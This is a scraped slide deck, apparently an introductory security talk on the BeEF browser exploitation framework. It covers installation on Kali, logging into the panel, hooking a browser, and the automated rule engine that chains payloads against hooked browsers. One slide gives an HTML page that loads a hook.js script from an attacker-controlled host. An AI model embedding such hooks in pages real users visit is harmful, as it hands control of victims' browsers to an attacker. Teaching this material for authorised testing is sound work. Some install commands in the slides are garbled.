Intro to BeEF Chad Hollman Analyst, County of Sacramento Department - - PowerPoint PPT Presentation

▶
intro to beef
SMART_READER_LITE
LIVE PREVIEW

Intro to BeEF Chad Hollman Analyst, County of Sacramento Department - - PowerPoint PPT Presentation

Jan 03, 2023 237 likes •616 views

Intro to BeEF Chad Hollman Analyst, County of Sacramento Department of Technology What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF What is BeEF? Installing BeEF Logging

slide-1
SLIDE 1

Intro to BeEF

Chad Hollman Analyst, County of Sacramento Department of Technology

slide-2
SLIDE 2

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-3
SLIDE 3

What is BeEF? Installing BeEF Logging into BeEF for the first time Hooking your first browser Maintaining Persistence Automating BeEF

slide-4
SLIDE 4

What is BeEF?

BeEF is short for the Browser Exploitation Framework.

slide-5
SLIDE 5

Disclaimer

I am no expert in BeEF

slide-6
SLIDE 6

Disclaimer

Before using, make sure you have permission

slide-7
SLIDE 7

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-8
SLIDE 8

Install BeEF ruby > 2.5 ruby gems sqlite3

pre-reqs

slide-9
SLIDE 9

Install BeEF apt update

update kali

slide-10
SLIDE 10

Install BeEF apt install beef-xss -y

install beef

slide-11
SLIDE 11

Install BeEF apt install libsqlite3-dev

install beef

slide-12
SLIDE 12

Install BeEF gem install sqlite -v ‘1.4.2’

  • -source ‘htts://rubygems.org/’

install beef

slide-13
SLIDE 13

Install BeEF usr/shared/beef-xss$ bundle

install beef

slide-14
SLIDE 14

Install BeEF vi /usr/share/beef-xss/config.yaml

update the default username and password

slide-15
SLIDE 15

Install BeEF ./beef

then launch beef

slide-16
SLIDE 16

Install BeEF

then launch beef

slide-17
SLIDE 17

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-18
SLIDE 18

Logging into BeEF

navigate to the ui/panel link in your browser

slide-19
SLIDE 19

Logging into BeEF

slide-20
SLIDE 20

Logging into BeEF

slide-21
SLIDE 21

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-22
SLIDE 22

Hooking your first browser

slide-23
SLIDE 23

Hooking your first browser

<html> <head> <title>Fish</title> <script src=”http://192.168.1.51:3000/hook.js”></script> </head> <body> Banana </body> </html>

slide-24
SLIDE 24

Hooking your first browser

slide-25
SLIDE 25

Hooking your first browser

slide-26
SLIDE 26

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-27
SLIDE 27

Maintaining Persistence

slide-28
SLIDE 28

What is BeEF? Installing BeEF Logging into BeEF Hooking your first browser Maintaining Persistence Automating BeEF

slide-29
SLIDE 29

Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available

slide-30
SLIDE 30

Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead

slide-31
SLIDE 31

Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads

slide-32
SLIDE 32

Automating BeEF

using the beef automated rule engine (are) you can run commands anytime a hooked browser becomes available so instead of waiting at the beef user interface, for a hooked browser to come online, you can write an automated rule to execute a number of commands instead rules can be based on information taken from when the hook is first created, ie only run when a firefox browser is launched and only execute firefox vulnerable payloads rules can also be chained, so once one command is executed, another can be executed thereafter

slide-33
SLIDE 33

Automating BeEF

configure delay target a specific operating system

[‘Linux’, ‘Windows’, ‘OSX’, ‘Android’, ‘iOS’, ‘Blackberry’, ‘ALL’]

target specific browsers

[‘FF’, ‘C’, ‘IE’, ‘O’, ‘ALL’]

provide matching options

[‘<’, ‘<=’, ‘==’, ‘>=’, ‘>’, ‘ALL’, ‘Vista’, ‘XP’]

multiple configs

configuring the automated rule engine

slide-34
SLIDE 34

Demo

slide-35
SLIDE 35

Thank you!

hollmanchad@gmail.com @gh0st

slide-36
SLIDE 36